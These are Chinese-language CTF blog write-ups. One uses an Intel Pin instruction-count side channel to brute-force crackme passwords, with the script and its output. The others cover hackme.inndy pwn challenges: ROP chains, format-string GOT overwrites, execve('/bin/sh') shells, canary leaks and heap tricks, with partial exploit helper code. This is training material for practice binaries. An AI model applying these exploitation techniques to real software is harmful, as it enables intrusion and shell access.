# -*- coding: utf-8 -*-

from subprocess import Popen, PIPE
from sys import argv
import string
import pdb

pinPath = "/home/m4x/pin-3.6-gcc-linux/pin"
pinInit = lambda tool, elf: Popen([pinPath, '-t', tool, '--', elf], stdin = PIPE, stdout = PIPE)
pinWrite = lambda cont: pin.stdin.write(cont)
pinRead = lambda : pin.communicate()[0]

if __name__ == "__main__":
    last = 0
    #  dic = map(chr, xrange(0x20, 0x80))
    dic = string.ascii_letters + string.digits + "+_ "
    pwd = '?' * 8
    dicIdx = 0
    pwdIdx = 0

    while True:
        pwd = pwd[: pwdIdx] + dic[dicIdx] + pwd[pwdIdx + 1: ]
        #  pdb.set_trace()
        pin = pinInit("./myInscount1.so", "./crackme")
        pinWrite(pwd + '\n')
        now = int(pinRead().split("Count: ")[1])

        print "input({}) -> now({}) -> delta({})".format(pwd, now, now - last)

        if now - last > 2000 and dicIdx:
            pwdIdx += 1
            dicIdx = -1
            last = 0
            if pwdIdx >= len(pwd):
                print "Found pwd: {}".format(pwd)
                break

        dicIdx += 1
        last = now

运行结果如下

NDH2k13-crackme-500 [master●] time python guessPWD.py 
input(a???????) -> now(182804) -> delta(182804)
input(b???????) -> now(182804) -> delta(0)
input(c???????) -> now(182804) -> delta(0)
input(d???????) -> now(182804) -> delta(0)
input(e???????) -> now(182804) -> delta(0)
input(f???????) -> now(182804) -> delta(0)
input(g???????) -> now(182804) -> delta(0)
input(h???????) -> now(182804) -> delta(0)
input(i???????) -> now(182804) -> delta(0)
input(j???????) -> now(182804) -> delta(0)
input(k???????) -> now(182804) -> delta(0)
input(l???????) -> now(182804) -> delta(0)
input(m???????) -> now(182804) -> delta(0)
input(n???????) -> now(182804) -> delta(0)
input(o???????) -> now(182804) -> delta(0)
input(p???????) -> now(182804) -> delta(0)
input(q???????) -> now(182804) -> delta(0)
......
input(AzI0wBsO) -> now(211070) -> delta(0)
input(AzI0wBsP) -> now(211069) -> delta(-1)
input(AzI0wBsQ) -> now(211069) -> delta(0)
input(AzI0wBsR) -> now(211069) -> delta(0)
input(AzI0wBsS) -> now(211069) -> delta(0)
input(AzI0wBsT) -> now(211069) -> delta(0)
input(AzI0wBsU) -> now(211069) -> delta(0)
input(AzI0wBsV) -> now(211069) -> delta(0)
input(AzI0wBsW) -> now(211069) -> delta(0)
input(AzI0wBsX) -> now(214976) -> delta(3907)
Found pwd: AzI0wBsX
python guessPWD.py  31.04s user 14.72s system 105% cpu 43.341 total

验证一下

NDH2k13-crackme-500 [master●] ./crackme 
Jonathan Salwan loves you <3
----------------------------

Password: AzI0wBsX
Good password

这样，我们用不到 5 分钟的时间就猜出了 flag

inscount1(BB级插桩) 与 inscount0(ins级插桩) 效果相同，但 inscount1 速度更快，实际解题时可以用 inscount1 代替 inscount0

hxpCTF-2017-main_strip

再以 hxpCTF2017 的一道题目演示改造 pintool 用于解题，我们着重演示改造 pintool 的步骤，因此恢复符号表和分析程序流程的部分可以参考这篇 writeup

我们先尝试用上例的方法解这道题目

hxpCTF-2017-main_strip [master●●] ~/pin-3.6-gcc-linux/pin -t ./myInscount1.so -- ./main_strip a
Nope.
Count: 517715
hxpCTF-2017-main_strip [master●●] ~/pin-3.6-gcc-linux/pin -t ./myInscount1.so -- ./main_strip a 
Nope.
Count: 545828
hxpCTF-2017-main_strip [master●●] ~/pin-3.6-gcc-linux/pin -t ./myInscount1.so -- ./main_strip a
Nope.
Count: 532656
hxpCTF-2017-main_strip [master●●] ~/pin-3.6-gcc-linux/pin -t ./myInscount1.so -- ./main_strip a
Nope.
Count: 524544
hxpCTF-2017-main_strip [master●●] ~/pin-3.6-gcc-linux/pin -t ./myInscount1.so -- ./main_strip a
Nope.
Count: 582401

很不幸，即使我们使用同一个输入，指令数也是有较大变化的，使用现有的 pintool 难以解出这道题目，我们进行更深一步的分析，验证 flag 的关键部分可以表示为如下代码

for (int i=0; i<length(provided_flag); i++)
{
	if (main_mapanic(provided_flag[i]) != constant_binary_blob[i])
	{
		bad_boy();
		exit();
	}
	goodboy();
}

可以看出判断相等是逐位进行的，因此可以考虑对 inscount0 的 docount 函数做如下更改

更改前：
VOID docount() { icount++; }
更改后：
VOID docount(void *ip) 
{
  	// .text:000000000047B96E  cmp al, cl; cmp mapanic(provided_flag[i]), constant_binary_blob[i]
	if ((long long int)ip == 0x000000000047B96E)
	 icount++; 
}

只有运行到 0x47B96E 一句才会计数，这样我们就可以根据 pintool 的结果来逐位爆破 flag 了

然而，因为该题目的指令较多，指令级别的插桩会耗费较长时间，需要1h左右才能得到 flag

##　总结

使用 intel pin 可以解一部分 CTF challenges，尤其是虚拟机或者混淆严重的逆向题目，但 pin 的用途绝不局限于求解 CTF challenges
使用 pin 可以解一部分 CTF 题目，但也仅仅是一部分题目，多数题目由于插桩代价大，难以提取侧信道信息，pintool 难以编写等原因使用 pin 求解得不偿失，因此使用 pin 求解 CTF challenges 可以总结为下条原则：
- 能用血赚，凉了不亏

Reference

Hackme.Inndy 的部分 writeup

Tue, 03 Jul 2018 12:01:48 +0800

推荐一下hackme.inndy，上边有一些很好的针对新手的题目，但网上能搜到的Writeup很少，因此开了这篇博文记录一下部分目前解出的题目（主要是pwn和re），以后会跟着解题进度的推进逐步更新，同时遵循inndy师傅的规矩，只放思路，不放flag。

~~zwhubuntu师傅的部分题解：http://wxzwhubuntu.club:8088/index.php/2017/06/14/inndy/~~

聂师傅的部分题解: http://blog.csdn.net/niexinming

如果看了解题思路仍有问题，可以在我的github找到完整的脚本：pwn，reverse，欢迎star和follow

pwn

0x00 catflag

送分题，nc连接，cat flag即可

0x01 homework

根据题目提示，是数组越界的漏洞，第一次遇到这种漏洞觉得利用方式很巧妙。通过搜索字符串发现了get shell的函数call_me_maybe, run_program函数中定义了一个大小为10的数组，漏洞出现在edit number的选项里，当我们输入的index大于10时，程序是不会报错的，而是会继续朝着高地址edit数据，因此只需要edit run_program栈中的ret为call_me_maybe, 这样当我们退出run_program函数时，程序就会返回到call_me_maybe函数来get_shell，原理图如下：

有两点需要注意：

因为edit number中修改的数据是通过**%d**输入的，因此需要以整形的方式输入**call_me_maybe**函数的地址

修改ret的地址之后，还需要再输入一次0来退出run_program的循环来出发ret

payload：

0x02 ROP

刚看这道题的时候觉得无从下手，程序中既没有可以利用的函数，通过file命令查看是静态链接的也不能利用libc中的函数。后来注意到下一题提到了ROPgadget这个工具，才想到可以直接利用ROPgadget直接拼凑出ROP链，如下：

这样就只需要我们通过缓冲区溢出的漏洞返回到ROPgadget构造的ropchain就可以了

payload:

0x03 ROP2

本来根据提示以为这道题需要自己拼凑出ropchain，但后来发现这一题中存在syscall这个可以实现系统调用的函数，如syscall(4, 1, &v4, 42)即相当于write(1, &v4, 42)，syscall(3, 0, &v1, 1024)即相当于read(0, &v1, 1024)，syscall的第一个参数是系统函数的系统调用号，之后的参数依次为对应函数的参数，32位的系统调用号定义在**/usr/include/x86_64-linux-gnu/asm/unistd_32.h**中，可以看到execve的调用号为11，因此如果我们构造**syscall(11, “/bin/sh”, 0, 0)**就相当于执行了**execve("/bin/sh”, 0, 0)**即可get shell

介绍一个小trick，如下图，可以看出v4是提示字符串的开头，但因为IDA没有正确识别变量的类型，把提示字符串分成了v4~v15多个变量，v4的地址为bp-0x33，v15为bp-0x9，因此字符串长度为0x33 - 0x9 = 42

这时我们在v4上y一下，然后在弹出来的窗口上填入我们推断出来的数据类型char v4[42]，再点OK，这时IDA就能正确的识别出来v4的数据类型了，如下图：

payload1:

通过两次rop，实现get shell

payload2:

利用ROPgadget找到了一个pop4ret的gadget，利用pop4ret平衡堆栈，用一个ropchain实现getshell

需要注意，对于execve的第一个参数”/bin/sh”，我们可以用先写入一个固定地址（如bss段）的方式迂回传参。

0x04 toooomuch

放松心情的题，用IDA很容易可以得到通过验证的passcode，然后用二分/XJB猜猜对数字后，就可以拿到flag

0x05 toooomuch-2

题目已经提示利用缓冲区溢出通过shellcode来get shell，IDA查看程序流程，在gets函数中存在溢出

这样只要把通过ROP把shellcode写到bss段，再返回bss段执行shellcode即可

payload:

0x06 echo

看到echo，第一反应就是格式化字符串的题，分析文件后果然发现了很明显的格式化字符串漏洞

并且可以通过while循环多次利用，很经典的利用方式，先泄露出system_got中的system函数真实地址，再覆写printf_got为system_addr，之后通过fgets读入”/bin/sh"时，printf("/bin/sh”)已经相当于system("/bin/sh”)，即可get shell

payload:

需要注意如果leak的payload是p32(system_got) + “%7$s”的形式，那么泄露出的system_addr是从第4位到第8位（p32(system_got))占据了前4位，另外如果p32(system_got)中有\x00等bad char截断printf的话，可以调整payload形式为%8$s + p32(system_got)

0x07 echo2

很明显这一题也是格式化字符串的漏洞,与上一题的不同在于:

64位,这意味着fmtstr_payload函数极有可能因为\x00不能用
开启了PIE,也就是说got表等地址都是随机的,但因为elf中各个部分的偏移是固定的,因此可以通过泄露elf基址的方法来确定其他部分的真实地址

通过调试看出可以利用%41$p和%43$p泄露main地址与__libc_start_main的地址(0x23 + 6, 0x25 + 6):

泄露elf_base与libc_base的函数如下:

def getAddr():
    io.sendline("%41$p..%43$p..")
    elf_base = int(io.recvuntil("..", drop = True), 16) - 74 - 0x9b9#nm ./echo2
    libc_base = int(io.recvuntil("..", drop = True), 16) - 240 - libc_offset # this is for remote
    #  libc_base = int(io.recvuntil("..", drop = True), 16) - 241 - libc_offset #this is for local
    log.info("elf_base -> 0x%x" % elf_base)
    log.info("libc_base -> 0x%x" % libc_base)
    return elf_base + exit_got, libc_base + one_gadget

获得elf_base与libc_base基址后,按照正常的格式化字符串思路来就行,比如可以用one_gadget地址覆写exit函数的got表地址.

0x08 echo3

漏洞和逻辑都很简单, 非栈区的格式化字符串利用, 利用方式可以参考 hitcon-training 的 lab9, 那道题里我把调试的过程也放到代码里了, 比较容易看清楚逻辑同时这道题有一个随机数来打乱栈的布局, 导致我们没办法确定每次格式化字符串的 offset, 但仔细观察后发现随机数只有几个, 可以通过爆破的方法来确定

inndy_echo3 [master●] cat rand.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

f = lambda x: 16 * (((x & 0x3039) + 30) / 0x10)

allrand = []
for i in xrange(0xffff):
    allrand.append(f(i))

for i in set(allrand):
    print "{:#x}\t{}\t{}".format(i, allrand.count(i), float(allrand.count(i)) / sum(set(allrand)))
inndy_echo3 [master●] python rand.py 
0x20	4096	0.0330749354005
0x1010	2048	0.0165374677003
0x1050	2048	0.0165374677003
0x1030	4096	0.0330749354005
0x2010	2048	0.0165374677003
0x30	4096	0.0330749354005
0x50	2048	0.0165374677003
0x40	4096	0.0330749354005
0x3050	2047	0.0165293927649
0x3010	2048	0.0165374677003
0x2020	4096	0.0330749354005
0x1040	4096	0.0330749354005
0x1020	4096	0.0330749354005
0x3020	4096	0.0330749354005
0x10	2048	0.0165374677003
0x2040	4096	0.0330749354005
0x3030	4096	0.0330749354005
0x3040	4096	0.0330749354005
0x2050	2048	0.0165374677003
0x2030	4096	0.0330749354005

同时本地可以使用 gdb.debug() 来指定随机数方便本地调试, 具体的实现可以参考我的 exp 拿到 flag 后与站主交流, 发现我用了非预期解, 也贴一下站主的 exp

0x09 smash-the-stack

典型的canary leak，覆盖__libc_argv[0]为flag在内存中地址，触发__stack_chk_fail函数即可泄露flag

放一篇学习链接:http://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/

payload:

或者可以用更暴力的方法,不计算argv[0]到缓冲区的距离,用一个较大的值直接覆盖过去即可:

payload:

需要注意的是write函数的长度是由用户输入决定的，给buf一个较小的值即可

0x0A onepunch

本来以为onepunch的意思是构造好payload一发get shell，后来才发现是一个字节一个字节的打

题中有一个任意地址写一个字节的漏洞，刚开始觉得无从下手，后来调试的时候发现代码段为rwxp权限，才觉得柳暗花明。

既然可以在代码段任意地址写，就意味着我们可以为所欲为的修改代码流程，因此就可以将

.text:0000000000400767 jnz short loc_400773

修改为

.text:0000000000400767 jnz 0x40071D

这样就构成了一个循环，接下来在合适的位置写shellcode，然后跳转到shellcode即可

payload：

至于怎么确定要patch的地址和值，我推荐keypatch，用keypatch修改完伪代码后，通过将　Options -> General ->Number of Opcode byte修改为非０值对比修改前后的字节码即可

0x0B rsbo

这道题的利用方法倒是第一次见到，对于read和write的第一个参数fd（文件描述符），fd = 0时代表标准输入stdin，1时代表标准输出stdout，2时代表标准错误stderr，3~9则代表打开的文件。这一题的利用方式利用方式就是利用rop先用open函数打开位于/home/rsbo/的flag，然后再用read(3, )把flag写到一个固定地址上，最后用write输出

payload:

0x0C rsbo-2

和 rsbo-1 完全一样, 这次要 get shell 了, 也很简单, binary 中有 write@plt, 因此可以通过 rop 来 leak write@got 等函数, 进而确定 libc.address, 然后再来一次 rop 执行 system("/bin/sh”) 就行了因为远程端口也是一样的, 因此直接做 rsbo-2 即可

这道题是回头又看的, 以前居然因为这种难度的题卡了那么久= =

0x0D leave_msg

经过分析代码的逻辑,绕过下边的限制,就可以覆写got表:

1
2

if ( v4 <= 64 && nptr != 45 )
  dword_804A060[v4] = (int)strdup(&buf);

而v4=atoi(&ntpr),经过搜索atoi函数会跳过字符串开头的空白字符,因此只要构造**(空格)-16**就可以同时绕过上边的两个限制来覆写puts的got表,然后再用\x00绕过strlen的限制就可以执行shellcode,payload如下:

此时的程序流程如下:

至于0x36是怎么来的,我是调试看出来的,如果哪位表哥有静态计算的方法,还请不吝赐教!

0x0E stack

这个题开了全保护，第一眼看上去挺吓人，但其实漏洞很容易发现，pop时并没有对下标作出检查，这就意味着我们可以通过一直pop利用数组越界从栈上leak，先通过调试看栈结构

可以看出，通过一直pop可以泄露**_IO_2_1_stdout_**的地址，进而确定libc的装载基址和one_gadget地址

def getBase():
    #  debug()
    for i in xrange(15):
        io.sendlineafter("Cmd >>", "p")
        io.recvuntil("-> ")

    libc_base = (int(io.recvuntil("\n", drop = True)) & 0xffffffff)- libc.symbols["_IO_2_1_stdout_"]
    info("libc_base -> 0x%x" % libc_base)
    one_gadget = libc_base + one_gadget_offset

    return one_gadget
    #  return libc_base

通过main+27, main+427等地址可以泄露elf的装载基址（当然并没有用到），并且经过观察，main+27, main+427分别是__x86_get_pc_thunk_dx和stack_push的返回地址，这样我们只需要把main+427覆盖为one_gadget的地址，再次调用stack_push时，就可以返回到one_gadget，进而get shell，有一个坑点是0xf段的地址会发生数据溢出，需要我们转成int32的类型。

虽然听起来很麻烦但只要耐心调试并不难，这个题目的flag也说明了本题的重点就是leak from stack。

关于这个题有两点值得一提：

刚打开文件使用F5时报错

很容易搜索到这是因为函数的参数个数不匹配，我们定位到0x78D，发现540这个函数有一个参数，但IDA并没有正确识别

手动指定一个参数后（快捷键y指定类型），这个函数的报错就解决了

同样的方法修复之后的报错，就可以F5查看伪代码了

实现查看伪代码后，可以通过查看函数的具体实现进一步识别函数和修正函数参数

如上图的578函数，可以看出实际调用了hex(8128 + 56)这个地址，而这个地址在IDA中可以看出是scanf的地址，这样我们就可以通过scanf的参数列表进一步修正参数了，附一张我修复之后的图

这样在通过对比题目给出的源码，就很容易分析程序的功能了
1. 这个题目开启了PIE保护，利用pwn.gdb.attach调试的时候和没有开启PIE保护的有些不同。
  
  以前我调试开启了PIE保护elf的方式是Uriel师傅教我的先找elf装载基址

	from pwn import *
	import sys, os
	import re

	wordSz = 4
	hwordSz = 2
	bits = 32
	PIE = 0
	mypid=0
	context(arch='amd64', os='linux', log_level='debug')
      def leak(address, size):
         with open('/proc/%s/mem' % mypid) as mem:
            mem.seek(address)
            return mem.read(size)
    
      def findModuleBase(pid, mem):
         name = os.readlink('/proc/%s/exe' % pid)
         with open('/proc/%s/maps' % pid) as maps:
            for line in maps:
               if name in line:
                  addr = int(line.split('-')[0], 16)
                  mem.seek(addr)
                  if mem.read(4) == "\x7fELF":
                     bitFormat = u8(leak(addr + 4, 1))
                     if bitFormat == 2:
                        global wordSz
                        global hwordSz
                        global bits
                        wordSz = 8
                        hwordSz = 4
                        bits = 64
                     return addr
         log.failure("Module's base address not found.")
         sys.exit(1)
    
      def debug(addr = 0):
          global mypid
          mypid = proc.pidof(r)[0]
          raw_input('debug:')
          with open('/proc/%s/mem' % mypid) as mem:
              moduleBase = findModuleBase(mypid, mem)
              gdb.attach(r, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))

但做这道题题时发现pwn.gdb.attach只有第一个参数是必须的

这样就可以先进入gdb，通过vmmap找到elf基址后在下断点进行调试了

0x0F very_overflow

这个题目给了源码，分析起来方便了不少。这个题的漏洞也很容易发现，虽然申请了长度为 128 * (sizeof(buffer))的缓冲区，但可以无限的add_note，这就意味着我们可以先重复add_note耗尽缓冲区，然后继续add_note和show_note时，就可以leak类似__libc_start_main这些信息来确定libc装载基址了，有了libc装载基址后，通过rop构造system("/bin/sh”)或者one_gadget都可以求解

至于add_note多少次，通过调试可以很清楚的算出来

另外就是刚开始本地可以get shell，但远程连接很容易超时，后来把context.log_level换成了info，减少了打印花费的时间，又把io.sendlineafter换成了直接io.sendline，就不容易超时了

0x10 notepad

这道题目的菜单输入那里乍看起来很奇怪,因为执行哪个分支是根据ord(input) - ord(‘a’) 来决定的,当输入小于a时又没有做容错处理(似乎本题也只有这一个漏洞). 仔细分析，在notepad_open函数里，有一个根据输入执行特定函数的机会，这样只要我们精心构造chunk布局和输入,让当前notepad_open函数根据我们的输入执行特定函数时,执行上一个chunk中我们填好的函数,这样我们就有了执行任意函数的能力,一图胜千言,用下图来表示此过程:

 +-------+-------+
 |prev0  |size0  |
 +-------+-------+
 |show_func_ptr  | <- chunk0
 +---------------+
 |destory_fun_ptr|
 +---------------+
 |rdonly         |
 +---------------+      
 |size           |
 +---------------+
 |....           |
 |data           |
 |evil_func      |
 |....           |
 +-------+-------+
 |prev1  |size1  |
 +-------+-------+
 |show_func_ptr  | <- chunk1
 +---------------+
 |destory_fun_ptr|
 +---------------+
 |rdonly         |
 +---------------+
 |size           |
 +---------------+
 |....           |
 |data           |
 ++--------------+
 如上图,题目希望我们在notepad_open(chunk1)时,退出时使用chunk1的show_func_ptr或者destory_fun_ptr函数指针,但因为没有检测输入为负,我们可以在前一个chunk(chunk0)中的data中写好evil_func的地址,控制输入,输入合理的负数执行该函数,这样只要合理的控制,我们就有了执行任意函数的能力

我的做法分为以下几步:

先通过该漏洞 free 一个 chunk,造成 uaf
再利用该漏洞 puts freed_chunk 来 leak libc
gets读入 $0\0/sh\0
执行 system(“$0”)

0x11 mailer

很明显,gets那里能够arbitrary overflow, 又没开NX保护, 直接利用arbitrary overflow修改top_chunk,使用house of force修改got到shellcode的地址即可, 没什么好说的

0x12 tictactoe-1

给的elf文件逆起来比较繁琐，通过反编译可以找到棋的源码，了解了程序的大体流程后，可以发现在落子时可以通过数组越界覆写GOT表

但因为程序有一个判负退出的功能，因此经过实验最多只能写三个字节，但对第一题而言，三个字节已经足够overwrite memset@got为打印flag的地址

第一题很快就解决了，至于tictatoe-2，虽然get shell拿到了flag，但根据flag形式需要用ret2dl_solve，等我用ret2dl_solve解决时再来补wp

reverse

0x00 helloworld:

0x01 simple:

都是水题，不再细说

0x03 pyyy

这一题用uncomplye6或者在线网站反编译后，得到的python代码都有大量的lambda操作，读起来十分费力，并且代码不能直接运行，仔细观察，代码中有一行

this_is = ‘Y-Combinator’

似乎是在暗示什么，google了一发，在 https://rosettacode.org/wiki/Y_combinator#Python 找到了Y-Combinator的介绍，即利用lambda等操作实现递归，于是按照网站上给出的python实例修改了代码，使其能够正确执行。再仔细观察，发现只要我们每轮的输入都和程序每轮计算的值相等即可得到flag，因此直接修改python代码，让输入等于程序计算好的值，修改好的代码如下：

# uncompyle6 version 2.12.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.13 (default, Jan 19 2017, 14:48:08) 
# [GCC 6.3.0 20170118]
# Embedded file name: pyyy.py
# Compiled at: 2016-06-12 01:14:31
from fractions import gcd
__import__('sys').setrecursionlimit(1048576)
data = 'Tt1PJbKTTP+nCqHvVwojv9K8AmPWx1q1UCC7yAxMRIpddAlH+oIHgTET7KHS1SIZshfo2DOu8dUt6wORBvNVBpUSsuHa0S78KG+SCQtB2lr4c1RPbMf0nR9SeSm1ptEY37y310SJMY28u6m4Y44qniGTi39ToHRTyxwsbHVuEjf480eeYAfSVvpWvS8Oy2bjvy0QMVEMSkyJ9p1QlGgyg3mUnNCpSb96VgCaUe4aFu4YbOnOV3HUgYcgXs7IcCELyUeUci7mN8HSvNc93sST6mKl5SDryngxuURkmqLB3azioL6MLWZTg69j6dflQIhr8RvOLNwRURYRKa1g7CKkmhN4RytXn4nyK2UM/SoR+ntja1scBJTUo0I31x1wBJpT4HjDN47FLQWIkRW+2wnB3eEwO5+uSiQpzA8VaH7VGRrlU/BFW4GqbaepzKPLdXQFBkNyBKzqzR/zA2GIrYbLIVScWJ19DqJCOyVLGeVIVXyzN1y327orYL2Ee3lRITnE3FouicRStaznIcw8xmxvukwVMRZIJ/vTu8Zc1WQIYEIFXMHozGuvzZgROZTyFihWNRCBBtoP9DJJALJb0pA1IKIb2zLh+pwGF40Y6y93D6weKejGPO+A0DBXH9vuLcCcCIvr/XPQhO3jLKCBN+h9unuJKW3dyWxyaVPdR2V+BTw10VXolo7yaTH1GbR4TiVSB308mBOMwfchwihEe7RdMXvmXgaGarKkJe0NLUCd8jwhYII+WymjxO/xOz/ppOvNfAyIQksW0sggRPQTlgXSZ7MIVA1h66sGNljJ833MoFzWof3azLabaz1OrAJFqYXBg/myDsy1tV6rULSQ82hVR/TNnSmBGvyEDJTrLSwHyj78NOrW4mUnlLGBnAgWfw6pW2lRK2jkNX9NM6DfLsRK8lwl85UP8CZSuNdcLmLwHTVMZGm/cNkZCtWRBlZqEggxGdIO44D+f4y6ysnAk5/QzEwjIuecxEOb0jyV6dFui8g0c3Oxlhzcli0X8ToJFyeQRv1N9nokYZ07tFlG6m18kCToKz1qiH1U7kljXa6SvdORur5dWYLQ//gwhwppe7JlNda/cEoh92h96wRZDv1dSK/f1vz+mUeUyUlFY0iMjfw5eBXWZppNZi3ZtJcq5kllM2ACVFcxQWI3azM3ArOcqjosoiPjNoDYgKh7w4k2Cd0kLYEHscz/njtJ1KEcwLtqs4nJ+gB2r4V9g03YgvY5E8JJtfJMKdaTedjtvEuif8FNlCK9DMnL1iLpWptJbdfO83Y7Y46XCqjZFBI5o9Qtb78nLhMEM5/YTaNOM/wE/oJl5HI/i1X6kW3PKCsVubRkOkc2xawl6NYdLETjLvmrGhhI'
a = 138429774382724799266162638867586769792748493609302140496533867008095173455879947894779596310639574974753192434052788523153034589364467968354251594963074151184337695885797721664543377136576728391441971163150867881230659356864392306243566560400813331657921013491282868612767612765572674016169587707802180184907L
b = 166973306488837616386657525560867472072892600582336170876582087259745204609621953127155704341986656998388476384268944991674622137321564169015892277394676111821625785660520124854949115848029992901570017003426516060587542151508457828993393269285811192061921777841414081024007246548176106270807755753959299347499L
c = 139406975904616010993781070968929386959137770161716276206009304788138064464003872600873092175794194742278065731836036319691820923110824297438873852431436552084682500678960815829913952504299121961851611486307770895268480972697776808108762998982519628673363727353417882436601914441385329576073198101416778820619L
d = 120247815040203971878156401336064195859617475109255488973983177090503841094270099798091750950310387020985631462241773194856928204176366565203099326711551950860726971729471331094591029476222036323301387584932169743858328653144427714133805588252752063520123349229781762269259290641902996030408389845608487018053L
e = 104267926052681232399022097693567945566792104266393042997592419084595590842792587289837162127972340402399483206179123720857893336658554734721858861632513815134558092263747423069663471743032485002524258053046479965386191422139115548526476836214275044776929064607168983831792995196973781849976905066967868513707L
F = (a, b, c, d, e)
m = 8804961678093749244362737710317041066205860704668932527558424153061050650933657852195829452594083176433024286784373401822915616916582813941258471733233011L
g = 67051725181167609293818569777421162357707866659797065037224862389521658445401L
z = []
for i, f in enumerate(F):
    n = pow(f, m, g)
    #https://rosettacode.org/wiki/Y_combinator#Python
    this_is = 'Y-Combinator'
    #  l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))
    Y = lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args)))
    fun = lambda f: lambda x: (1 if x < 2 else f(x - 1) * x % n)
    l = Y(fun)(g % 27777)
#   Y = lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args)))
#   fac = lambda f: lambda n: (1 if n<2 else n*f(n-1))
#  >>> [ Y(fac)(i) for i in range(10) ]
#  [1, 1, 2, 6, 24, 120, 720, 5040, 40320, 362880]
#  >>> fib = lambda f: lambda n: 0 if n == 0 else (1 if n == 1 else f(n-1) + f(n-2))
#  >>> [ Y(fib)(i) for i in range(10) ]
#  [0, 1, 1, 2, 3, 5, 8, 13, 21, 34]
    #  print l
    #  c = raw_input('Channenge #%d:' % i)
    c = l
    if int(c) != l:
        print 'Wrong~'
        exit()
    z.append(l)

z.sort()
gg = '(flaSg\'7 \\h#GiQwt~66\x0csxCN]4sT{? Zx YCf6S>|~`\x0c$/}\'\r:4DjJFvm]([sP%FMY"@=YS;CQ7T#zx42#$S_j0\\Lu^N31=r\x0b\t\tjVhhb_KM$|6]\nl!:V\rx8P[0m ;ho_\rR(0/~9HgE8!ec*AsGd[e|2&h!}GLGt\'=$\x0cbKFMnbez-q\\`I~];@$y#bj9K0xmI2#8 sl^gBNL@fUL\x0b\\9Ohf]c>Vj/>rnWXgLP#<+4$BG@,\'n a_7C:-}f(WO8Y\x0c2|(nTP!\'\\>^\'}-7+AwBV!w7KUq4Qpg\tf.}Z7_!m+ypy=`3#\\=?9B4=?^}&\'~ Z@OH8\n0=6\x0b\tv\nl!G\'y4dQW5!~g~I*f"rz1{qQH{G9\x0c\'b\x0cp\x0bdu!2/\\@i4eG"If0A{-)N=6GMC<U5/ds\rG&z>P1\nsq=5>dFZUWtjv\tX~^?9?Irwx\\5A!32N\x0bcVkx!f)sVY Men\x0c\'ujN<"LJ\x0c5R4"\\\\XPVA\'m$~tj)Br}C}&kX2<|\np3XtaHB.P\'(E 4$dm!uDyC%u ["x[VYw=1aDJ (8V/a!J?`_r:n7J88!a25AZ]#,ab?{%e\x0b]wN_}*Q:mh>@]u\t&6:Z*Fmr?U`cOHbAf7s@&5~L ,\tQ18 -Hg q2nz%\x0ccUm=dz&h1(ozoZ)mrA=`HKo\n\'rXm}Z-l3]WgN\\NW<{o=)[V({7<N1.-A8S"=;3sderb\tOZ$K\r0o/5\x0bMc76EGCWJ3IQpr7!QhbgzX8uGe3<w-g\'/j\'\tM4|9l?i&tm_\n57X0B2rOpuB@H@%L_\r)&/q=LZa(%}""#if#Kq74xK?`jGFOn"8&^3Q-\r#]E$=!b^In0:$4VKPXP0UK=IK)Y\rstOT40=?DyHor8j7O\\r/~ncJ5];cCT)c?OS0EM5m#V(-%"Tu:!UsE],0Dp  s@HErS]J{%oH54B&(zE.(@5#2k\tJnNlnUEij\\.q/3HBpJNk*X(k5;DlqK\'\'fX\r}EBk_7\x0b:>8~\t+M@WJx.PO({/U}1}#TqjreG\nN{\rX>4EsJr0Pn\\Z\\aL/-U<<{,Q;j\tF=7f\')+wH:p{G=_.s\\t-\x0bI\x0c*y\t1P:Y|/2xE<uo]~$>5k]FW+>fR<QA"(Fj[LL(hzfQo#PJ;:*0kB~3]9uL[o.xue:VQ\t;9-Tu\tq|mzzhV_okP\t,d\rQ`]5Gf\x0c#gXB\x0cAH|)NI|K=KW-&p-<b"3e.rO\x0cuK=\x0c^\r+MuLxCJ`UKaD\x0bBH&n+YVajZ(U7pwWtto3T10VLHwSJ\rK\t}\'F$l1:b2Bd\na=#t0iq}#!{1_)w$}<Dp(borC\'\t?r6;,+k;a(Q3@B?RCWYEDrjZe![x=n_%S]rl{&fLr*mgCD;92/nNsaxKy/;\nr]sPK=`+YP>MmfB\n8O4/"}nE7r*=41f2\t37>K\'s$wpl;qS[`qzu\x0b\t\nuaU|b,C`4& dRN~]7DnuTb2FhNHV!#Z2Hho\x0b[%.{O\t$q0\x0ch_@?w@b8[I^{JL|O8]i8{p)A.w)14qK3JoyF%licZ~ga\rW[L:W\rtIvfWJjZUOvB\rS.Beav3!-@bw|PexJ Pcw1\ry6!63B}]J])6fak/3r]W\tMeXt[uc(1_U lys{a1X\r%)[wwP3rhgNW{*d~_E%Q2htCt5ha@l0^0=\x0bwT\ni4/V;_\nM1rb?w~Q)Dli4u\n`}1+D8"\t`@V~$9l$Uy**VnI (@Ga0<RxfmoNgJTtE-aLH\rE5fMy7rk$)V\rL2Fv/AivOa"\nuX|70Xrw^D]%i%JyT\x0cc%cwZ/Wbp=IiY;/@nFEe>3=tM;K*`fReGoc5V/Ri?nXZ-RW)\'\t<\x0cV>@X@-Ei4%sO%},B_pjc`s"@oKCmdgDhjUZT@?mb\'?Q:F\x0bLJkPgjaFAc=rbrjAz$Zz\x0cq0GU!")xFOEF(x!3M\t:l83|}}HgGJJ#eT/I\x0b[|lK_n+;Wi/N^B4LzL.a(gVWq,zO6\'S|tb>RX` ca*CO<w\x0ci =wc1,M~\x0bc`FYEs\r){+Ll8[I9-88m\t\\iK/\\hno-C[vX*3Hx:%:K\rt\x0cW!tj\'SOhqxP|k7cw Hm?I@?P\'HmapG7$0#T(Auz]sjmd#\rFP/}53@-Kvmi(d%dZKLZ2LK\'e_E\x0bQmR 5/(irq4-EUyp<hB?[\tnU:p*xuzASM'

Y = lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args)))
fun = lambda f: lambda n: (1 if n < 3 else f(n - 1) + f(n - 2))

print ''.join((gg[Y(fun)(i + 2)] for i in range(16))) % ''.join((data[pow((gcd(z[i % 5], z[(i + 1) % 5]) * 2 + 1) * g, F[i % 5] * (i * 2 + 1), len(data))] for i in range(32)))
